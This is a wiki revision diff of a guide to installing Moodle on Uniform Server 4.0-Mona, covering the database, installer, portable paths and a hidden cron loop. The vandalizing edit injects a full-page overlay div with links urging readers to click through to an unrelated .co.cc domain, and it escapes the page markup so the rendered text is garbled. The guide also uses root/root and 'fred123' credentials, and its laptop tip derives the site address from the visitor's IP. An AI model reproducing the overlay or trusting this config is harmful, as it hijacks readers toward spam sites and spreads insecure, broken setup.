Installing Moodle on 4.0-Mona: Difference between revisions

From The Uniform Server Wiki
Jump to navigation Jump to search
No edit summary
Line 1: Line 1:
<span id="top"></span>
----
{| cellpadding="2"
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://ecoquvejoz.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
----
=[http://ecoquvejoz.co.cc CLICK HERE]=
----
</div>
&lt;span id=&quot;top&quot;&gt;&lt;/span&gt;
{| cellpadding=&quot;2&quot;
|__TOC__||'''Installing Moodle on 4.0-Mona'''
|__TOC__||'''Installing Moodle on 4.0-Mona'''
|}
|}
Line 12: Line 20:
{|
{|
|-
|-
|valign="top"|
|valign=&quot;top&quot;|
'''''Install Uniform server'''''
'''''Install Uniform server'''''


# '''A)''' Create a new folder named '''moodle_b''' (Can be any name)
# '''A)''' Create a new folder named '''moodle_b''' (Can be any name)
# Extract a new copy of Uniform Server V4.0-Mona to this folder<br>(Double click on file to extract).  
# Extract a new copy of Uniform Server V4.0-Mona to this folder&lt;br&gt;(Double click on file to extract).  


'''''Download Moodle'''''  
'''''Download Moodle'''''  
<ol start="4">
&lt;ol start=&quot;4&quot;&gt;
<li> '''B)''' Create a new folder '''moodle_a''' (Can be any name its only a temporary folder)</li>
&lt;li&gt; '''B)''' Create a new folder '''moodle_a''' (Can be any name its only a temporary folder)&lt;/li&gt;
<li> Download the latest version (moodle-weekly-19.zip) of Moodle from  [http://download.moodle.org/ Moodle download page]</li>
&lt;li&gt; Download the latest version (moodle-weekly-19.zip) of Moodle from  [http://download.moodle.org/ Moodle download page]&lt;/li&gt;
<li> Copy the file dowloaded ('''moodle-weekly-19.zip''') to '''moodle_a'''</li>
&lt;li&gt; Copy the file dowloaded ('''moodle-weekly-19.zip''') to '''moodle_a'''&lt;/li&gt;
<li> Unzip '''moodle-weekly-19.zip''' into this folder.<br>(Right click on file, select extract all, extract to current path.)</li>
&lt;li&gt; Unzip '''moodle-weekly-19.zip''' into this folder.&lt;br&gt;(Right click on file, select extract all, extract to current path.)&lt;/li&gt;
</ol>
&lt;/ol&gt;
'''''Copy files to Uniform Server'''''
'''''Copy files to Uniform Server'''''
<ol start="8">
&lt;ol start=&quot;8&quot;&gt;
<li> '''C)''' Expand the folder '''moodle-weekly-19'''</li>
&lt;li&gt; '''C)''' Expand the folder '''moodle-weekly-19'''&lt;/li&gt;
<li> '''D)''' Copy folder '''moodle''' to Uniform Servers's root folder '''www'''</li>
&lt;li&gt; '''D)''' Copy folder '''moodle''' to Uniform Servers's root folder '''www'''&lt;/li&gt;
</ol>
&lt;/ol&gt;
|
|
[[Image:Moodle_1.gif]]
[[Image:Moodle_1.gif]]
Line 39: Line 47:
{|
{|
|-
|-
|valign="top"|
|valign=&quot;top&quot;|
{|
{|
|-
|-
|valign="top"|
|valign=&quot;top&quot;|
# Start Uniform Server (Double click on '''Server_Start.bat''' in folder UniServer).
# Start Uniform Server (Double click on '''Server_Start.bat''' in folder UniServer).
# From apanel (displayed in your browser when the server starts) click on the '''phpMyAdmin''' link. (left menu under tools) Note you can always return to apanel by typing <nowiki>http://localhost/apanel/</nowiki> into your browser address bar.
# From apanel (displayed in your browser when the server starts) click on the '''phpMyAdmin''' link. (left menu under tools) Note you can always return to apanel by typing &lt;nowiki&gt;http://localhost/apanel/&lt;/nowiki&gt; into your browser address bar.
# '''A)''' We want to create a new database. Enter '''moodle'''
# '''A)''' We want to create a new database. Enter '''moodle'''
# '''B)''' Click on '''Create''' to create the database
# '''B)''' Click on '''Create''' to create the database
|}
|}
|valign="top"|
|valign=&quot;top&quot;|
[[Image:Moodle_2.gif]]
[[Image:Moodle_2.gif]]
|}
|}
Line 56: Line 64:
All that remains is to run the Moodle installer script '''install.php'''. Type the following into your browser address bar.
All that remains is to run the Moodle installer script '''install.php'''. Type the following into your browser address bar.


'''<nowiki>http://localhost/moodle/install.php</nowiki>'''
'''&lt;nowiki&gt;http://localhost/moodle/install.php&lt;/nowiki&gt;'''


Most of the pages display information just click either the next or continue button to proceed to the next page.
Most of the pages display information just click either the next or continue button to proceed to the next page.
Line 72: Line 80:
{|
{|
|-
|-
|&nbsp;&nbsp;&nbsp;||PHP version||&nbsp;||Pass
|&amp;nbsp;&amp;nbsp;&amp;nbsp;||PHP version||&amp;nbsp;||Pass
|-
|-
|&nbsp;||Session Auto Start||&nbsp;||Pass
|&amp;nbsp;||Session Auto Start||&amp;nbsp;||Pass
|-
|-
|&nbsp;||Magic Quotes Run Time||&nbsp;||Pass
|&amp;nbsp;||Magic Quotes Run Time||&amp;nbsp;||Pass
|-
|-
|&nbsp;||Insecure Handling of Globals||&nbsp;||Pass
|&amp;nbsp;||Insecure Handling of Globals||&amp;nbsp;||Pass
|-
|-
|&nbsp;||Safe Mode||&nbsp;||Pass
|&amp;nbsp;||Safe Mode||&amp;nbsp;||Pass
|-
|-
|&nbsp;||File Uploads||&nbsp;||Pass
|&amp;nbsp;||File Uploads||&amp;nbsp;||Pass
|-
|-
|&nbsp;||GD version||&nbsp;||Pass
|&amp;nbsp;||GD version||&amp;nbsp;||Pass
|-
|-
|&nbsp;||Memory Limit||&nbsp;||Pass
|&amp;nbsp;||Memory Limit||&amp;nbsp;||Pass
|}
|}
|-
|-
|
|
3) '''''Please confirm the locations of this Moodle installation'':'''
3) '''''Please confirm the locations of this Moodle installation'':'''
* Web address <nowiki>http://localhost/moodle</nowiki>
* Web address &lt;nowiki&gt;http://localhost/moodle&lt;/nowiki&gt;
* Moodle Directory <nowiki>Z:\www\moodle</nowiki> Grayed out
* Moodle Directory &lt;nowiki&gt;Z:\www\moodle&lt;/nowiki&gt; Grayed out
* Data Directory Z:\/moodledata
* Data Directory Z:\/moodledata
For a default installation of Uniform Server these are correct  click '''Next'''
For a default installation of Uniform Server these are correct  click '''Next'''
Line 100: Line 108:
{|
{|
|-
|-
|&nbsp;&nbsp;&nbsp;||Type:||&nbsp;||'''MySQL'''(mysql)||&nbsp;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;||Type:||&amp;nbsp;||'''MySQL'''(mysql)||&amp;nbsp;
|-
|-
|&nbsp;||Host Server:||&nbsp;||'''localhost'''||&nbsp;
|&amp;nbsp;||Host Server:||&amp;nbsp;||'''localhost'''||&amp;nbsp;
|-
|-
|&nbsp;||User:||&nbsp;|| '''root'''|| -- (Uniform Servers default)
|&amp;nbsp;||User:||&amp;nbsp;|| '''root'''|| -- (Uniform Servers default)
|-
|-
|&nbsp;||Password:||&nbsp;|| '''root'''|| -- (Uniform Server default)
|&amp;nbsp;||Password:||&amp;nbsp;|| '''root'''|| -- (Uniform Server default)
|-
|-
|&nbsp;||Tables prefix:||&nbsp;||''' mdl_'''||&nbsp;
|&amp;nbsp;||Tables prefix:||&amp;nbsp;||''' mdl_'''||&amp;nbsp;
|
|
|}
|}
Line 117: Line 125:
{|
{|
|-
|-
|'''Name'''||&nbsp;||'''Information'''||&nbsp;||'''Report'''||&nbsp;||'''Status'''
|'''Name'''||&amp;nbsp;||'''Information'''||&amp;nbsp;||'''Report'''||&amp;nbsp;||'''Status'''
|-
|-
|unicode||&nbsp;||&nbsp;||&nbsp;||must be installed and enabled||&nbsp;||OK
|unicode||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||must be installed and enabled||&amp;nbsp;||OK
|-
|-
|database||&nbsp;||mysql||&nbsp;||version 4.1.16 is required and you are running 5.1.30||&nbsp;||OK
|database||&amp;nbsp;||mysql||&amp;nbsp;||version 4.1.16 is required and you are running 5.1.30||&amp;nbsp;||OK
|-
|-
|php||&nbsp;||&nbsp;||&nbsp;||version 4.3.0 is required and you are running 5.2.8||&nbsp;||OK
|php||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||version 4.3.0 is required and you are running 5.2.8||&amp;nbsp;||OK
|-
|-
|php_extension||&nbsp;||iconv||&nbsp;||should be installed and enabled for best results||&nbsp;||OK
|php_extension||&amp;nbsp;||iconv||&amp;nbsp;||should be installed and enabled for best results||&amp;nbsp;||OK
|-
|-
|php_extension||&nbsp;||mbstring||&nbsp;||should be installed and enabled for best results||&nbsp;||OK
|php_extension||&amp;nbsp;||mbstring||&amp;nbsp;||should be installed and enabled for best results||&amp;nbsp;||OK
|-
|-
|php_extension||&nbsp;||curl||&nbsp;||should be installed and enabled for best results||&nbsp;||OK
|php_extension||&amp;nbsp;||curl||&amp;nbsp;||should be installed and enabled for best results||&amp;nbsp;||OK
|-
|-
|php_extension||&nbsp;||openssl||&nbsp;||should be installed and enabled for best results||&nbsp;||OK
|php_extension||&amp;nbsp;||openssl||&amp;nbsp;||should be installed and enabled for best results||&amp;nbsp;||OK
|-
|-
|php_extension||&nbsp;||tokenizer||&nbsp;||should be installed and enabled for best results||&nbsp;||OK
|php_extension||&amp;nbsp;||tokenizer||&amp;nbsp;||should be installed and enabled for best results||&amp;nbsp;||OK
|-
|-
|php_extension||&nbsp;||xmlrpc||&nbsp;||should be installed and enabled for best results||&nbsp;||OK
|php_extension||&amp;nbsp;||xmlrpc||&amp;nbsp;||should be installed and enabled for best results||&amp;nbsp;||OK
|-
|-
|php_extension||&nbsp;||ctype||&nbsp;||should be installed and enabled for best results||&nbsp;||OK
|php_extension||&amp;nbsp;||ctype||&amp;nbsp;||should be installed and enabled for best results||&amp;nbsp;||OK
|}
|}
|-
|-
Line 216: Line 224:
|Prefered language:||English
|Prefered language:||English
|-
|-
|Leave rest blank||&nbsp;
|Leave rest blank||&amp;nbsp;
|}
|}
Click '''Update profile'''
Click '''Update profile'''
Line 247: Line 255:
== Starting Moodle ==
== Starting Moodle ==
# Double click on '''Server_Start.bat''' located in folder '''G:\Uniform Server'''
# Double click on '''Server_Start.bat''' located in folder '''G:\Uniform Server'''
# In your browser address bar type '''<nowiki>http://localhost/moodle/</nowiki>'''
# In your browser address bar type '''&lt;nowiki&gt;http://localhost/moodle/&lt;/nowiki&gt;'''


'''''Note'':''' You can run apanel at any time by typing <nowiki>http://localhost/apanel</nowiki> into your browser address bar.
'''''Note'':''' You can run apanel at any time by typing &lt;nowiki&gt;http://localhost/apanel&lt;/nowiki&gt; into your browser address bar.


'''''[[#top | Top]]'''''
'''''[[#top | Top]]'''''
Line 265: Line 273:


Its a small file locate the following two lines:
Its a small file locate the following two lines:
<pre>
&lt;pre&gt;
$CFG->dirroot  = 'Z:\www\moodle';
$CFG-&gt;dirroot  = 'Z:\www\moodle';
$CFG->dataroot  = 'Z:\/moodledata';
$CFG-&gt;dataroot  = 'Z:\/moodledata';
?>
?&gt;
</pre>  
&lt;/pre&gt;  
The hard coded paths start with '''Z:''' the solution is to let PHP calculate this drive letter (path) by replacing the above two lines with:
The hard coded paths start with '''Z:''' the solution is to let PHP calculate this drive letter (path) by replacing the above two lines with:
<pre>
&lt;pre&gt;
$root= substr($_SERVER["DOCUMENT_ROOT"],0,-4);
$root= substr($_SERVER[&quot;DOCUMENT_ROOT&quot;],0,-4);
$CFG->dirroot  = $root.'\www\moodle';
$CFG-&gt;dirroot  = $root.'\www\moodle';
$CFG->dataroot  = $root.'\/moodledata';
$CFG-&gt;dataroot  = $root.'\/moodledata';
?>
?&gt;
</pre>
&lt;/pre&gt;
The above change makes Moodle completely portable.
The above change makes Moodle completely portable.


Line 289: Line 297:
For a personal implementation of Moodle you can run cron.php occasionally by typing the following into your browser address bar:
For a personal implementation of Moodle you can run cron.php occasionally by typing the following into your browser address bar:


'''<nowiki>http://localhost/moodle/admin/cron.php</nowiki>'''
'''&lt;nowiki&gt;http://localhost/moodle/admin/cron.php&lt;/nowiki&gt;'''


'''''[[#top | Top]]'''''
'''''[[#top | Top]]'''''
Line 300: Line 308:


UniServer\udrive\www\moodle\admin\'''run_cron.php'''
UniServer\udrive\www\moodle\admin\'''run_cron.php'''
<pre>
&lt;pre&gt;
<? $dummy = file("http://localhost/moodle/admin/cron.php"); ?>
&lt;? $dummy = file(&quot;http://localhost/moodle/admin/cron.php&quot;); ?&gt;
</pre>
&lt;/pre&gt;


'''''[[#top | Top]]'''''
'''''[[#top | Top]]'''''
Line 310: Line 318:


UniServer\'''run_cron.bat'''
UniServer\'''run_cron.bat'''
<pre>
&lt;pre&gt;
:next
:next
udrive\home\admin\program\unidelay.exe 60
udrive\home\admin\program\unidelay.exe 60
Line 316: Line 324:
goto :next
goto :next
exit
exit
</pre>
&lt;/pre&gt;


'''''[[#top | Top]]'''''
'''''[[#top | Top]]'''''
Line 324: Line 332:


UniServer\'''run_cron_hidden.bat'''
UniServer\'''run_cron_hidden.bat'''
<pre>
&lt;pre&gt;
start udrive\home\admin\program\uniserv.exe run_cron.bat
start udrive\home\admin\program\uniserv.exe run_cron.bat
</pre>
&lt;/pre&gt;


With the files in place start the servers and run '''run_cron_hidden.bat'''.   
With the files in place start the servers and run '''run_cron_hidden.bat'''.   
Line 333: Line 341:


'''''Note 2'':''' You can run Cron from '''Server_Start.bat''' add the following line just below line ''':END''' (forth line from bottom of file):
'''''Note 2'':''' You can run Cron from '''Server_Start.bat''' add the following line just below line ''':END''' (forth line from bottom of file):
<pre>
&lt;pre&gt;
start udrive\home\admin\program\uniserv.exe run_cron.bat
start udrive\home\admin\program\uniserv.exe run_cron.bat
</pre>
&lt;/pre&gt;
Hence every time you start the servers using '''Server_Start.bat''' or '''disk_start.vbs''' Cron will run.   
Hence every time you start the servers using '''Server_Start.bat''' or '''disk_start.vbs''' Cron will run.   


Line 350: Line 358:
I lifted the following tip straight from [http://www.teachageek.com/2009/03/uniform-server-revisited.html '''gdunc'''] blog, it looks very useful, reproduced unedited:
I lifted the following tip straight from [http://www.teachageek.com/2009/03/uniform-server-revisited.html '''gdunc'''] blog, it looks very useful, reproduced unedited:


One other thing that might be useful to add here is a small addition to the config.php file for those users who use UniServer on a laptop. Since the '''config.php''' file lists the wwwroot as "localhost" external users are unable to view your moodle site correctly. For that reason, I would recommend the following changes to config.php:
One other thing that might be useful to add here is a small addition to the config.php file for those users who use UniServer on a laptop. Since the '''config.php''' file lists the wwwroot as &quot;localhost&quot; external users are unable to view your moodle site correctly. For that reason, I would recommend the following changes to config.php:


Locate the 'wwwroot' line in '''config.php'''
Locate the 'wwwroot' line in '''config.php'''
<pre>
&lt;pre&gt;
$CFG->wwwroot  = 'http://localhost/moodle';
$CFG-&gt;wwwroot  = 'http://localhost/moodle';
</pre>
&lt;/pre&gt;
Replace the above line with the following two lines, to let php figure out what your current IP address is and change it whenever your IP address changes. This can be very useful when moving from event to event.
Replace the above line with the following two lines, to let php figure out what your current IP address is and change it whenever your IP address changes. This can be very useful when moving from event to event.
<pre>
&lt;pre&gt;
$domain = GetHostByName($REMOTE_ADDR);
$domain = GetHostByName($REMOTE_ADDR);
$CFG->wwwroot  = 'http://'.$domain.'/moodle';
$CFG-&gt;wwwroot  = 'http://'.$domain.'/moodle';
</pre>
&lt;/pre&gt;


'''''[[#top | Top]]'''''
'''''[[#top | Top]]'''''

Revision as of 06:15, 24 November 2010



UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY


CLICK HERE


<span id="top"></span>

Installing Moodle on 4.0-Mona

Introduction

This step-by-step guide shows how to install Moodle on Uniform Server V4.0-Mona. In addition shows how to resolve fixed paths allowing Moodle to be run from a USB memory stick.

Windows does not support true cron jobs hence I have included a portable-cron solution catering for both hard drive and USB memory stick installations.

Pre-Installation

Install Uniform server

  1. A) Create a new folder named moodle_b (Can be any name)
  2. Extract a new copy of Uniform Server V4.0-Mona to this folder<br>(Double click on file to extract).

Download Moodle <ol start="4"> <li> B) Create a new folder moodle_a (Can be any name its only a temporary folder)</li> <li> Download the latest version (moodle-weekly-19.zip) of Moodle from Moodle download page</li> <li> Copy the file dowloaded (moodle-weekly-19.zip) to moodle_a</li> <li> Unzip moodle-weekly-19.zip into this folder.<br>(Right click on file, select extract all, extract to current path.)</li> </ol> Copy files to Uniform Server <ol start="8"> <li> C) Expand the folder moodle-weekly-19</li> <li> D) Copy folder moodle to Uniform Servers's root folder www</li> </ol>

Top

Create a Moodle Database

Creating the Moodle database is straight forward, tables are automatically inserted during installation

  1. Start Uniform Server (Double click on Server_Start.bat in folder UniServer).
  2. From apanel (displayed in your browser when the server starts) click on the phpMyAdmin link. (left menu under tools) Note you can always return to apanel by typing <nowiki>http://localhost/apanel/</nowiki> into your browser address bar.
  3. A) We want to create a new database. Enter moodle
  4. B) Click on Create to create the database

Top

Moodle Installation

All that remains is to run the Moodle installer script install.php. Type the following into your browser address bar.

<nowiki>http://localhost/moodle/install.php</nowiki>

Most of the pages display information just click either the next or continue button to proceed to the next page. Item 4 requires the database user name and password for a personal installation we are using the defaults root and root. The following shows what to expect during installation:

1) Choose a Language: Select your language e.g. English (en) click Next

2) Checking your PHP Settings: passes all click NEXT

Your server should pass all these tests to make Moodle run properly

&nbsp;&nbsp;&nbsp; PHP version &nbsp; Pass
&nbsp; Session Auto Start &nbsp; Pass
&nbsp; Magic Quotes Run Time &nbsp; Pass
&nbsp; Insecure Handling of Globals &nbsp; Pass
&nbsp; Safe Mode &nbsp; Pass
&nbsp; File Uploads &nbsp; Pass
&nbsp; GD version &nbsp; Pass
&nbsp; Memory Limit &nbsp; Pass

3) Please confirm the locations of this Moodle installation:

  • Web address <nowiki>http://localhost/moodle</nowiki>
  • Moodle Directory <nowiki>Z:\www\moodle</nowiki> Grayed out
  • Data Directory Z:\/moodledata

For a default installation of Uniform Server these are correct click Next

4) Database configuration:

&nbsp;&nbsp;&nbsp; Type: &nbsp; MySQL(mysql) &nbsp;
&nbsp; Host Server: &nbsp; localhost &nbsp;
&nbsp; User: &nbsp; root -- (Uniform Servers default)
&nbsp; Password: &nbsp; root -- (Uniform Server default)
&nbsp; Tables prefix: &nbsp; mdl_ &nbsp;

Click Next

5) Checking your environment:

Name &nbsp; Information &nbsp; Report &nbsp; Status
unicode &nbsp; &nbsp; &nbsp; must be installed and enabled &nbsp; OK
database &nbsp; mysql &nbsp; version 4.1.16 is required and you are running 5.1.30 &nbsp; OK
php &nbsp; &nbsp; &nbsp; version 4.3.0 is required and you are running 5.2.8 &nbsp; OK
php_extension &nbsp; iconv &nbsp; should be installed and enabled for best results &nbsp; OK
php_extension &nbsp; mbstring &nbsp; should be installed and enabled for best results &nbsp; OK
php_extension &nbsp; curl &nbsp; should be installed and enabled for best results &nbsp; OK
php_extension &nbsp; openssl &nbsp; should be installed and enabled for best results &nbsp; OK
php_extension &nbsp; tokenizer &nbsp; should be installed and enabled for best results &nbsp; OK
php_extension &nbsp; xmlrpc &nbsp; should be installed and enabled for best results &nbsp; OK
php_extension &nbsp; ctype &nbsp; should be installed and enabled for best results &nbsp; OK

6) Download language pack Installation: Option to download a language pack NEXT

7) Configuration completed: config.php has been successfully created Continue

8) GPL License: You have read the copyright notice! YES

9) Current release information: Moodle 1.9.4+ (Build: 20090204)(leave Unattended operation un-checked): Continue

10) Setting up database: Takes some time wait as the install takes place: Database was successfully updated Continue

11) Setting up module tables: Again wait, Workshop tables have been setup correctly Continue

12) Setting up plugin tables: Truefalse tables have been set up correctly, Continue

13) Upgrading database: Datbase was successfully upgraded Continue

14) Upgrading database: Blocks version is now 2007081300 Continue

15) Setting up block tables: Continue

16) Setting up plugin tables: Paypal tables have been set up correctley Continue

17) Setting up plugin tables: xml and other plugins set up correctly Continue

18) Setting up plugin tables: xml tables have been set up correctly Continue

19) Setting up plugin tables: user tables have been set up correctly Continue

20) Setting up plugin tables: stats tables have been set up correctly Continue

21) Setting up plugin tables: unittest tables have been set up correctly Continue

22) Setup administrator account:

Admin set-up: On this page you should configure your main administrator account which will have complete control over the site. Make sure you give it a secure user name and password as well as a valid email address. You can create more admin accounts later on. Fill in details:

Username: boss
New password fred123
First name: Fred
Surname: Smith
Email address: fred@smith.com
Email display: Hide my Email address from everyone
Email activated: This email address is enabled
City/Town: Cambridge
Select acountry: United Kingdom
Timezone: Server's local time
Prefered language: English
Leave rest blank &nbsp;

Click Update profile

23) Front Page settings:

This page allows you to configure the front page and name of this new site. You can come back here later to change these settings any time using the Administration menus. Fill in details:

  • Full site name: MPG Test
  • Short name: MPG
  • Front page description: Personal installation of Moodle running on Uniform Server 4.0-Mona
  • New settings - Manage authentication: Disabled
  • Click: save changes

24) Finished:

This is your main admin page you can continue setting up Moodle or log out

Note: Steps 22-23 I entered dummy information. You can change this information from admin at any time, however make sure you remember your admin password and name.

Top

Stopping Moodle

  1. Logout from admin
  2. Double click on Stop.bat located in folder G:\Uniform Server

Top

Starting Moodle

  1. Double click on Server_Start.bat located in folder G:\Uniform Server
  2. In your browser address bar type <nowiki>http://localhost/moodle/</nowiki>

Note: You can run apanel at any time by typing <nowiki>http://localhost/apanel</nowiki> into your browser address bar.

Top

Portability Memory Stick

To run Moodle from a Memory stick, copy the folder UniServer and all its content to whatever drive your memory stick is on.

Note: This process is not fast; writing 102 MB (UniServer plus Moodle) took just over 20 minutes. In the same vain do not expect exceptional performance, Moodle uses a large database hence is slow when run from a memory stick. That said I found it just about acceptable.

Hard Coded path

During installation Moodle uses the drive letter (default Z) it is installed from and hard wires it into a configuration file. This means you cannot run or move the installation and expect Moodle to run. A solution to this problem requires modifying the Moodle configuration file config.php.

Open the following file in a text editor:

UniServer\udrive\www\moodle\config.php

Its a small file locate the following two lines: <pre> $CFG->dirroot = 'Z:\www\moodle'; $CFG->dataroot = 'Z:\/moodledata'; ?> </pre> The hard coded paths start with Z: the solution is to let PHP calculate this drive letter (path) by replacing the above two lines with: <pre> $root= substr($_SERVER["DOCUMENT_ROOT"],0,-4); $CFG->dirroot = $root.'\www\moodle'; $CFG->dataroot = $root.'\/moodledata'; ?> </pre> The above change makes Moodle completely portable.

Top

Cron

Moodle has a cron.php script that needs to be periodically run. It takes care of various routine tasks for example unsubscribing inactive members and sending out email messages.

Top

Manualy Run Cron

To keep Moodle happy you need to periodically run the cron.php script.

For a personal implementation of Moodle you can run cron.php occasionally by typing the following into your browser address bar:

<nowiki>http://localhost/moodle/admin/cron.php</nowiki>

Top

Automatically Run Cron

Manually running Cron can become tedious a solution is to create a portable-cron using 4.0_Mona components, three new files are required as follows:

Top

run_cron.php

This file runs the actual cron script cron.php its sole purpose is to convert local paths to server relative paths.

UniServer\udrive\www\moodle\admin\run_cron.php <pre> <? $dummy = file("http://localhost/moodle/admin/cron.php%22); ?> </pre>

Top

run_cron.bat

This batch file uses unidelay.exe to provide a periodic tick. At the end of each delay PHP is run in CLI mode and runs script run_cron.php. the loop repeats indefinitely.

UniServer\run_cron.bat <pre>

next

udrive\home\admin\program\unidelay.exe 60 udrive\usr\local\php\php.exe -n udrive\www\moodle\admin\run_cron.php goto :next exit </pre>

Top

run_cron_hidden.bat

The above batch file if run directly would be visible hence this batch file uses uniserv.exe to run the above hidden.

UniServer\run_cron_hidden.bat <pre> start udrive\home\admin\program\uniserv.exe run_cron.bat </pre>

With the files in place start the servers and run run_cron_hidden.bat.

Note 1: unidelay.exe 60 runs the cron-job every 60 seconds increase this as required.

Note 2: You can run Cron from Server_Start.bat add the following line just below line :END (forth line from bottom of file): <pre> start udrive\home\admin\program\uniserv.exe run_cron.bat </pre> Hence every time you start the servers using Server_Start.bat or disk_start.vbs Cron will run.

Related links:

Moodle Docs Cron

Portable Cron

LCC portable cron program

Top

Tip - UniServer on a laptop

I lifted the following tip straight from gdunc blog, it looks very useful, reproduced unedited:

One other thing that might be useful to add here is a small addition to the config.php file for those users who use UniServer on a laptop. Since the config.php file lists the wwwroot as "localhost" external users are unable to view your moodle site correctly. For that reason, I would recommend the following changes to config.php:

Locate the 'wwwroot' line in config.php <pre> $CFG->wwwroot = 'http://localhost/moodle'; </pre> Replace the above line with the following two lines, to let php figure out what your current IP address is and change it whenever your IP address changes. This can be very useful when moving from event to event. <pre> $domain = GetHostByName($REMOTE_ADDR); $CFG->wwwroot = 'http://'.$domain.'/moodle'; </pre>

Top

Summary

Although there are a large number of steps Moodle is easy to install on Uniform Server.

Top